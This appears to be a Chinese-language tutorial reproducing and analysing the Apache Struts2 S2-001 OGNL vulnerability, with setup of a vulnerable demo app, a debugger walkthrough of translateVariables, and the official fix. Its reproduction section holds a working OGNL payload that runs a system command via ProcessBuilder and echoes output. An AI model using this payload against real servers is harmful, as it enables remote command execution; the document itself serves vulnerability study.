环境搭建
struts2包下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip
- tomcat 7.0+macos+idea2020.1.2
首先新建一个项目,选择web和struct2,新建即可
在WEB-INF下创建个lib文件夹,然后将所需要的包,放入到lib中。
- commons-logging-1.0.4.jar
- freemarker-2.3.8.jar
- ognl-2.6.11.jar
- struts2-core-2.0.8.jar
- xwork-2.0.3.jar
然后导入我们的包,选择File-->Project Structure.
点击ok即可。
后创建index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
创建welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
修改struct.xml这样
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="s2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="welcome">/welcome.jsp</result>
<result name="error">/index.jsp</result>
</action>
</package>
</struts>
后在src目录下新建一个包
命名为com.demo.action
在包下新建一个java class命名为LoginAction
写入代码
package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
最后选择Run-->Edit configurations
配置好我们的tomcat即可。
最终,我们的大体内容就是这样
最后就可以成功运行起来了。
漏洞复现
- 执行任意命令payload
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
漏洞分析
首先,我们需要了解一些基础的概念。
ACtion
Action是用于处理请求操作的,由StructPrepareAndExecuteFilter分发过来的
在我们的struct2中,一个 Action 类代表一次请求或调用,每个请求的动作都对应一个相应的 Action 类。总之:Action就是用来处理一次用户的请求的。
为了方便项目的管理,便于统一,struct2提供了一个官方的Action接口,具体代码如下:
public interface Action {
//定义Action接口中包含的一些结果字符串
public static final String SUCCESS="success";
public static final String NONE="none";
public static final String ERROR="error";
public static final String INPUT="input";
public static final String LOGIN="login";
//定义处理用户请求的execute()方法
public String execute() throws Exception;
}
在该代码中,execute()方法为Action类的默认请求处理方法,该方法只返回一个字符串,其他的一些常量的作用是统一execute()方法的返回值。
因为Xwork的Action的接口非常简单,所以一般在开发过程中,都采用继承ActionSupport
类的方式创建 Action,
代码如下:
public class LoginAction extends ActionSupport{
private static final long serialVersionUID = 1L;
@Override
public String execute() throws Exception{
return super.execute();
}
}
ActionSupport 是 Action 接口的默认实现类,所以继承 ActionSupport 就相当于实现了 Action 接口。
具体可参考: Mi1k7ea师傅
拦截器
拦截器(Interceptor)是 Struts2 框架的核心组成部分,它类似于 Servlet 中的过滤器。
java中的拦截器是动态拦截Action调用的对象,他提供了一种机制使开发者可以在一个Action执行前或者执行后,执行一段代码,也可以在执行钱阻止其只想,同时也提供了一种可以提取Action中可重用部分代码的方式。
拦截器是在struts.xml
文件中实现的,在使用拦截器时,我们都要对拦截器进行相应的配置,通常以 <interceptor>
标签开头,以 </interceptor>
标签结束。定义拦截器的语法格式如下所示:
<interceptor name="interceptorName" class="interceptorClass">
<param name="paramName">paramValue</param>
</interceptor>
<interceptor>
元素的 name 属性用于指定拦截器的名称,class 属性用于指定拦截器的实现类。有时,在定义拦截器时需要传入参数,这时需要使用 <param>
标签,其中 name 属性用于指定参数的名称,paramValue 表示参数的值。
在struct2中,官方也提供了一些默认的拦截器,存放在struts-core-x.x.x.jar的 struts-default.xml
中。 具体内容请读者自行查看。参考:官方文档
OGNL表达式
OGNL是Object-Graph Navigation Language的缩写,它是一种功能强大的表达式语言(Expression Language,简称为EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。 -------百度百科
- 首先来介绍下OGNL的三要素:
一、表达式:
表达式(Expression)是整个OGNL的核心内容,所有的OGNL操作都是针对表达式解析后进行的。通过表达式来告诉OGNL操作到底要干些什么。因此,表达式其实是一个带有语法含义的字符串,整个字符串将规定操作的类型和内容。OGNL表达式支持大量的表达式,如“链式访问对象”、表达式计算、甚至还支持Lambda表达式。
二、Root对象:
OGNL的Root对象可以理解为OGNL的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是Root对象,这就意味着,如果有一个OGNL表达式,那么我们需要针对Root对象来进行OGNL表达式的计算并且返回结果。
三、上下文环境:
有个Root对象和表达式,我们就可以使用OGNL进行简单的操作了,如对Root对象的赋值与取值操作。但是,实际上在OGNL的内部,所有的操作都会在一个特定的数据环境中运行。这个数据环境就是上下文环境(Context)。OGNL的上下文环境是一个Map结构,称之为OgnlContext。Root对象也会被添加到上下文环境当中去。
官方解释:**`altSyntax 功能允许将OGNL表达式插入到文本字符串中并以递归方式处理。
使用struts2的 s标签提交表单,如果验证失败则会在服务端进行一次 OGNL 表达式验证。`**
官方给了这样的一段代码:
<s:form action="editUser">
<s:textfield name="name" />
<s:textfield name="phoneNumber" />
</s:form>
也就是说如果我向该页面提交name=%{1+1}&phoneNumber=111
,在后段没有通过检测,返回的页面,你就回发现name处变为了2,这是因为默认情况下,参数值被处理为 %{name} ,OGNL表达式是递归计算的,所以他真正执行的表达式是 %{ %{ 1+1 } }
这就是因为OGNL所导致的漏洞,且后面的struct大部分漏洞都是OGNL所导致的。
值栈(ValueStack)
值栈是OGNL表达式存放数据的地方。
要获取数据先要获取值栈。
值栈的获取方式可以分为两种:
在request中获取值栈
ValueStack 对象在 request 范围内的存储方式为 request.setAttribute("struts.valueStack",valuestack),可以通过如下方式从 request 中取出值栈的信息。
//获取 ValueStack 对象,通过 request 对象获取
ValueStack valueStack = (ValueStack)ServletActionContext.getRequest()
.getAttribute(ServletActionContext.STRUTS_VALUESTACK_KEY);
ServletActionContext.STRUTS_VALUESTACK_KEY的值为struts.valueStack。
在ActionContext中获取值栈
在struct2框架中,可以从 Context 对象中获取 ValueStack 对象。也即为从ActionContext对象中获取 ValueStack 对象。
//通过 ActionContext 获取 valueStack 对象
ValueStack valueStack = ActionContext.getContext().getValueStack();
ValueStack、StackContext、ActionContext
具体作用的描述:
valueStack: 里面存放的是Action类中通过set方法设置的属性值(表单传过来的值等),由OGNL框架实现
stackContext: 也是用来存值的,stack上下文,它包含一些列对象,包括request/session/attr/application map等
actionContext: 是action的上下文,可以得到request,session,application等,我们在JSP页面中访问value stack的内容时,是不用加#,而如果是访问stack context的其他对象则要加上#
具体区别:
- ActionContext 就是应用上下文,可以通过他来访问session对象等,可以保存的数据,以map形式存储,在这个应用中都可以访问该数据。通常用于还回一个session对象。
- ValueStack 是OGNL表达式语言中的值栈, 用来封装继承了action接口的类的属性值,以栈结构存储,在同一个请求范围类有效,在页面中直接通过表达式${属性名}就可以取出.
- 值栈也称为栈结构,ActionContext也称为映射结构,表示值栈的context
- ValueStack和ActionContext本质上可以互相获得,ValueStack.getContext()方法得到的Map其实就是ActionContext的Map
漏洞分析
首先我们可以在拦截器struts-default.xml
中找到我们传入的参数被什么所拦截。
可见我们传入的参数被com.opensymphony.xwork2.interceptor.ParametersInterceptor
所拦截,我们直接跳转到这个文件下。
在87行,代码把传入的参数打入到值栈中ValueStack stack = ac.getValueStack();
,我们在这里下断点查看
我们的值已经拦截了下来,
我们现在一步一步来进行查看。
在第97行,他把我们的值带入了invocation.invoke();
步入查看
在第203行this.executeResult();
,他将我们的值进行了execute请求。
步入查看。
跟进this.result.execute(this);
到达 /org/apache/struts2/dispatcher/StrutsResultSupport.java
跟进this.doExecute(this.lastFinalLocation, invocation);
跟进dispatcher.forward(request, response);
通过看变量值,发现如果跟进这里的话,会直接跳转到index.jsp。
所有我们直接快速指向index.jsp.
中间到调用栈如下:
因为我们传入到payload是在password处传入到,着重关注对<s:textfield name="password" label="password" />
解析,所以我们步入password.
一直往下调试,发现其在org.apache.struts2.views.jsp.ComponentTagSupport
中解析标签。
步入component.end
步入this.evaluateParams();
继续跟进。
一直跟进到if (this.altSyntax())
因为altSyntax默认开启,为了动态的改变标签属性的值,它允许执行标签属性中的OGNL表达式
跟入addParameter("nameValue", findValue(expr, valueClazz));
中的findValue
跟入TextParseUtil.translateVariables('%', expr, this.stack);
继续跟入
跟入translateVariables
源码如下
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
当我们在进行一轮循环后到达 String var = expression.substring(start + 2, end);
此时的var="password"
当到达stack.findValue(var, asType);
,返回了我们最初传入的值为%{1+1}
再后来对o进行处理之后,o赋值给了我们的result,即result=%{1+1}
最终在进行第二轮循环时,我们的expression为%{1+1}
最后在Object o = stack.findValue(var, asType);
执行我们的payload.
最终,触发漏洞的原因是在translateVariables
中解析了我们的表达式。在处理完password后,又将password的值传入循环中,再一次进行了解析。
漏洞修复:
刚刚说了原因,那么把递归这里进行规范的处理就好了。
来看看官方的修复方法。
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
int loopCount = 1;
int pos = 0;
while (true) {
int start = expression.indexOf(open + "{", pos);
if (start == -1) {
pos = 0;
loopCount++;
start = expression.indexOf(open + "{");
}
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (!TextUtils.stringSet(left)) {
result = o;
} else {
result = left + middle;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + middle + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
(middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
1;
pos = Math.max(pos, 1);
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
最后
在了chybeta师傅的文章中,提到,表单验证并不是漏洞产生的原因,只是漏洞产生的场景之一,在实际场景中,比如登陆等处,往往会配置了Validation,比如限制用户名长度,数字的范围等等,从而成为了该漏洞的高发区。
参考链接:
https://www.cnblogs.com/renchunxiao/p/3423299.html
https://xz.aliyun.com/t/2044